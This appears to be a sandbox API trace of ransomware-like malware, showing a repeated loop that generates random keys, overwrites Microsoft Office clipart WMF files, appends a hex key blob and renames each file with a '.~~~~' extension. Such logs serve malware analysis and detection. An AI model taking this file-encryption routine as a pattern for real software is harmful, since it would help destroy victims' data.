	[0099.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2970f00
	[0099.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28608a0
	[0099.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.262] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0099.262] GetLastError () returned 0x0
	[0099.263] GetLastError () returned 0x0
	[0099.263] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0099.263] GetLastError () returned 0x0
	[0099.263] GetLastError () returned 0x0
	[0099.305] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffc8cc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.305] WriteFile (in: hFile=0xc4, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x3734, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x3734, lpOverlapped=0x0) returned 1
	[0099.306] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0099.306] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.306] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.307] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.307] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.307] CloseHandle (hObject=0xc4) returned 1
	[0099.307] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.307] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf.~~~~")) returned 1
	[0099.308] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.308] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0099.308] GetLastError () returned 0x0
	[0099.309] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0099.310] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.310] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.310] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.310] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0099.310] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0099.310] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21930038675) returned 1
	[0099.310] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa4e316d0, dwHighDateTime=0x1d60e1e)) 
	[0099.310] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0099.310] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0099.310] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0099.311] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a96f8
	[0099.311] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.311] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a96f8 | out: hHeap=0x300000) returned 1
	[0099.311] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0099.311] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.311] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.311] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0099.311] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2860938
	[0099.311] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.311] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0099.311] GetLastError () returned 0x0
	[0099.311] GetLastError () returned 0x0
	[0099.312] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0099.312] GetLastError () returned 0x0
	[0099.312] GetLastError () returned 0x0
	[0099.330] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffc14c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.330] WriteFile (in: hFile=0xc4, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x3eb4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x3eb4, lpOverlapped=0x0) returned 1
	[0099.331] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0099.335] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.335] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.335] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.335] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.336] CloseHandle (hObject=0xc4) returned 1
	[0099.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2970f00
	[0099.336] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf.~~~~")) returned 1
	[0099.338] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.338] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0099.338] GetLastError () returned 0x0
	[0099.340] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0099.342] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.342] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.342] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0099.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0099.342] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21933205699) returned 1
	[0099.342] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa4e7d990, dwHighDateTime=0x1d60e1e)) 
	[0099.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0099.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0099.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0099.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dd90
	[0099.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.342] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dd90 | out: hHeap=0x300000) returned 1
	[0099.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0099.343] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2970f00
	[0099.343] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0099.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2860b98
	[0099.343] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.343] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0099.343] GetLastError () returned 0x0
	[0099.343] GetLastError () returned 0x0
	[0099.343] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0099.343] GetLastError () returned 0x0
	[0099.344] GetLastError () returned 0x0
	[0099.897] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffff2d8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.897] WriteFile (in: hFile=0xc4, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0xd28, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x26dfec0*=0xd28, lpOverlapped=0x0) returned 1
	[0099.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0099.901] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.901] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.901] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.901] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.901] CloseHandle (hObject=0xc4) returned 1
	[0099.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2970f00
	[0099.903] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf.~~~~")) returned 1
	[0099.904] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.904] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0099.904] GetLastError () returned 0x0
	[0099.904] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0099.905] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.905] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0099.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0099.906] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21989573102) returned 1
	[0099.906] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa53d8b10, dwHighDateTime=0x1d60e1e)) 
	[0099.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0099.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0099.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0099.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862528
	[0099.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862528 | out: hHeap=0x300000) returned 1
	[0099.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2970f00
	[0099.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2860d60
	[0099.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.906] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0099.906] GetLastError () returned 0x0
	[0099.907] GetLastError () returned 0x0
	[0099.907] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0099.907] GetLastError () returned 0x0
	[0099.907] GetLastError () returned 0x0
	[0099.946] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffff98c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.946] WriteFile (in: hFile=0xc4, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x674, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x26dfec0*=0x674, lpOverlapped=0x0) returned 1
	[0099.947] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0099.947] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.947] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.947] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.947] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.947] CloseHandle (hObject=0xc4) returned 1
	[0099.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.948] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf.~~~~")) returned 1
	[0099.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0099.949] GetLastError () returned 0x0
	[0099.949] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0099.950] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.950] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.950] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0099.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0099.950] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21994063932) returned 1
	[0099.951] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa544af30, dwHighDateTime=0x1d60e1e)) 
	[0099.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0099.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0099.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0099.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28625d0
	[0099.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28625d0 | out: hHeap=0x300000) returned 1
	[0099.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2861778
	[0099.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.951] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0099.954] GetLastError () returned 0x0
	[0099.954] GetLastError () returned 0x0
	[0099.954] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0099.954] GetLastError () returned 0x0
	[0099.954] GetLastError () returned 0x0
	[0099.957] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffc5d8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.957] WriteFile (in: hFile=0xc4, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x3a28, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x26dfec0*=0x3a28, lpOverlapped=0x0) returned 1
	[0099.958] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0099.958] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.958] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.958] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.958] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.958] CloseHandle (hObject=0xc4) returned 1
	[0099.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.959] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf.~~~~")) returned 1
	[0099.960] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.960] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0099.960] GetLastError () returned 0x0
	[0099.960] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0099.961] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.961] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0099.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0099.961] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21995161140) returned 1
	[0099.962] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa5471090, dwHighDateTime=0x1d60e1e)) 
	[0099.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0099.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0099.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0099.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862608
	[0099.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
